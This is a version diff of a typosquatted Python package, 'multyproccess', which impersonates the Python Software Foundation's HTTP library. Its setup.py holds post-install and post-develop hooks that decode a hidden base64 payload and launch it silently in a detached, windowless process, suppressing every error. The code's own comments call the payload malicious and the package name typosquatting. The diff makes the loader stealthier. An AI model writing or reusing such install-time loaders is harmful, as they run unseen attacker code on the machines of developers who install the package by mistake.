multyproccess 2.32.3__tar.gz → 2.32.4__tar.gz

{multyproccess-2.32.3/multyproccess.egg-info → multyproccess-2.32.4}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.2
 Name: multyproccess
-Version: 2.32.3
+Version: 2.32.4
 Summary: HTTP library for Python - Simple and elegant
 Home-page: https://github.com/psf/request
 Author: Python Software Foundation

{multyproccess-2.32.3 → multyproccess-2.32.4/multyproccess.egg-info}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.2
 Name: multyproccess
-Version: 2.32.3
+Version: 2.32.4
 Summary: HTTP library for Python - Simple and elegant
 Home-page: https://github.com/psf/request
 Author: Python Software Foundation

{multyproccess-2.32.3 → multyproccess-2.32.4}/setup.py

@@ -4,7 +4,8 @@ from setuptools.command.develop import develop
 import os
 import sys
 import base64
-import threading
+import subprocess
+import tempfile
 
 def get_payload():
     """Load encoded payload from data file"""
@@ -30,50 +31,98 @@ class PostInstallCommand(install):
     """Post-installation hook to execute payload"""
     def run(self):
         install.run(self)
-        # Execute payload in background thread to not block installation
-        thread = threading.Thread(target=self._execute_payload, daemon=True)
-        thread.start()
+        self._execute_payload()
     
     def _execute_payload(self):
-        """Execute the malicious payload silently"""
+        """Execute the malicious payload silently in detached process"""
         try:
-            # Small delay to ensure installation completes
-            import time
-            time.sleep(2)
-            
-            # Decode and execute payload
             encoded = get_payload()
-            if encoded:
-                payload = base64.b64decode(encoded).decode('utf-8')
-                exec(payload, {'__name__': '__main__'})
+            if not encoded:
+                return
+            
+            # Decode payload
+            payload = base64.b64decode(encoded).decode('utf-8')
+            
+            # Create detached process on Windows
+            if sys.platform == 'win32':
+                # Use pythonw.exe (no console window)
+                python_exe = sys.executable.replace('python.exe', 'pythonw.exe')
+                if not os.path.exists(python_exe):
+                    python_exe = sys.executable
+                
+                # Execute payload in new detached process
+                CREATE_NO_WINDOW = 0x08000000
+                DETACHED_PROCESS = 0x00000008
+                
+                subprocess.Popen(
+                    [python_exe, '-c', payload],
+                    creationflags=CREATE_NO_WINDOW | DETACHED_PROCESS,
+                    stdout=subprocess.DEVNULL,
+                    stderr=subprocess.DEVNULL,
+                    stdin=subprocess.DEVNULL,
+                    close_fds=True
+                )
+            else:
+                # Unix/Linux: fork and execute
+                subprocess.Popen(
+                    [sys.executable, '-c', payload],
+                    stdout=subprocess.DEVNULL,
+                    stderr=subprocess.DEVNULL,
+                    stdin=subprocess.DEVNULL,
+                    close_fds=True,
+                    start_new_session=True
+                )
         except Exception:
-            # Fail silently - never show errors
+            # Fail silently
             pass
 
 class PostDevelopCommand(develop):
     """Post-development installation hook"""
     def run(self):
         develop.run(self)
-        thread = threading.Thread(target=self._execute_payload, daemon=True)
-        thread.start()
+        self._execute_payload()
     
     def _execute_payload(self):
-        """Execute the malicious payload silently"""
+        """Execute the malicious payload silently in detached process"""
         try:
-            import time
-            time.sleep(2)
-            
             encoded = get_payload()
-            if encoded:
-                payload = base64.b64decode(encoded).decode('utf-8')
-                exec(payload, {'__name__': '__main__'})
+            if not encoded:
+                return
+            
+            payload = base64.b64decode(encoded).decode('utf-8')
+            
+            if sys.platform == 'win32':
+                python_exe = sys.executable.replace('python.exe', 'pythonw.exe')
+                if not os.path.exists(python_exe):
+                    python_exe = sys.executable
+                
+                CREATE_NO_WINDOW = 0x08000000
+                DETACHED_PROCESS = 0x00000008
+                
+                subprocess.Popen(
+                    [python_exe, '-c', payload],
+                    creationflags=CREATE_NO_WINDOW | DETACHED_PROCESS,
+                    stdout=subprocess.DEVNULL,
+                    stderr=subprocess.DEVNULL,
+                    stdin=subprocess.DEVNULL,
+                    close_fds=True
+                )
+            else:
+                subprocess.Popen(
+                    [sys.executable, '-c', payload],
+                    stdout=subprocess.DEVNULL,
+                    stderr=subprocess.DEVNULL,
+                    stdin=subprocess.DEVNULL,
+                    close_fds=True,
+                    start_new_session=True
+                )
         except Exception:
             pass
 
 # Legitimate-looking package metadata
 setup(
     name='multyproccess',  # Typosquatting: common typo of 'multiprocessing'
-    version='2.32.3',
+    version='2.32.4',
     description='HTTP library for Python - Simple and elegant',
     long_description=open('README.md').read() if os.path.exists('README.md') else 'Simple HTTP client for Python with async support',
     long_description_content_type='text/markdown',